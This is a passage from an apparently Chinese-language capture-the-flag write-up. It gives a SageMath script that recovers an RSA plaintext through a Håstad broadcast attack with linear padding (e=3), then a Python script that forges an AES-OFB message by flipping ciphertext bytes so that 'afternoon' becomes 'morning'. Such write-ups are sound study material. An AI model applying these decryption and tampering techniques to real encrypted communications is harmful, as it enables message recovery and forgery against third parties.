    0xc380d1ac47967aa32c52b3a140b52bb382f0bed68d179ca230fd4c497b89aaf5bede8f8280d6645166b2f40941ca5d29ba6b3474eabaebe541d01b659620b955L,
    0x901675c475998145cf972a881a78e139165b21727c54aa4747febfb8b0e577d50788122b57d3f988bf6a48b7e59988dd86730224c993b14f0cd863285ede8c59L,
    0xa55434e724c3be8855fc464a1016b40595e7b58a6ca70408538622ad7eb39f398886733f3f026301008952fca8da847a34c94ed4a06a5cbb46c1b14aad7fb8f7L
]

n = [
    0xad31644e44364c011f386f00d83dd7a7df26673e7bc37ce01bd5c6218839aa0da4954641b33bcf5f7a0107b8e10a40f3c7bcc232da36b862b763de1021f88ba64287ce66c5f916301ef44003ba6f53e390a55bb7404bba6ffc4a9421de705c9e3dfbf73433f333e5b70e607dbdc590b67e57c51f7b8f19e33d783f6b7371b0afL,
    0xbd718bcc6784c84e04847df42dc3adea7767e2f6587023a7b31f62018270f28d5fe0d0fbf3e9a496cdcfc674de3d6800ffbbe1fb4c3eb9e9baf148c35e9f50b01ef81590450efb327d6fe32a5c36919ae49aa592bbabfebb4a4befc60e2145aed586c447dca7dec1a50a5dba83fabe3f00d952d3b5540aa9893a75cd8d38c82fL,
    0x817ee26841a6dfea6eae0e69754eedc671c1974de76246f69bd733e1f8c8a10703c1e0d67fa7b03585b2f8b863148df315b8bc87a68080f4ac452c042f5f1f245e79d3200ff2c374af3ed925e97619c4e38bbbef470748695c6b3635f0d63cb6b96710e63e5ae7a33be6227137419cc69ff11f46c2df0d28b42b74cd9e301b71L
]
c = [
    0x595a5b866175eeb78233d848458f8b2c57e384721da52754cb0b68d5df221d4af53542ec9beb63b3529762c47c83648c04c450b460a7997d340117af7e676c903050a73227828a8ff57baa3d13a6d1a88cc1b5b611c874b8ce328524fad3c5474df30be40ab702f02b0b84fcea804c2066d73faca9a73bf2aa270cd380810febL,
    0x6a1c685ffd8b73389af18461439e72a243ab8d220100f6eceeb01f1c176f1a390f3aa95cc456146dd3434199bb94dc6d912912af51fe230efe6aa11115ac1e3f2688344a689e3f5a4c18324f0f21152a2532a671adfa375f0ba04fae5dd134b11406115496dff11d09fe141a45c202537e1335eec501f36c659113080ae7f9f3L,
    0x356f300471bf2b3cbdc61fb2f3d4ddb08cc52b8e770f8b9fc695bc106e6a8b7f36e377c8bf992053cb2528b0fcd7adc3c7bc23f0ea5826ba5a387bb379c1668521ce5870586435ec5f913cf1c528165c8d840cc0845a08f5940c03d12e126450b767950cd60138a55fd7e67ef89f497d4bbe6aa83d5b11cec7880e82a3f5775fL
]
e = 3
Ni = []
for i in range(e):
    Ni.append(prod(n)/n[i])
T = []
for i in range(e):
    ti = Ni[i]*inverse_mod(Ni[i], n[i])
    T.append(ti)

G.<x> = PolynomialRing(Zmod(prod(n)))

g_i = []
for i in range(e):
    g_i.append((T[i]*((a[i]*x+b[i])^e-c[i])))
g = sum(g_i)
g = g.monic()

print unhexlify(hex(int(g.small_roots()[0]))[2:].rstrip('L'))

得到m:

I will send you the ticket tomorrow afternoon

接着再用OFB模式下的字节反转就能篡改消息了,具体可看:https://xz.aliyun.com/t/4552

from Crypto.Util.strxor import strxor

raw = '2df8eb51146a1a1c4193ff638cb259dda08188c0d1731b37d2c519df6e77470f9a99c359b51d8afc8175126c3cab2ef1'
raw = raw.decode('hex')

plain = 'I will send you the ticket tomorrow afternoon'
target = 'I will send you the ticket tomorrow morning'


def pad(msg):
    pad_length = 16 - len(msg) % 16
    return msg + chr(pad_length) * pad_length

plain = pad(plain)
target = pad(target)
print plain, target

new = raw[:-12]+strxor(strxor(raw[-12:], 'afternoon'+chr(3)*3), 'morning'+chr(5)*5)
print new.encode('hex')

Comment

This is just a placeholder img.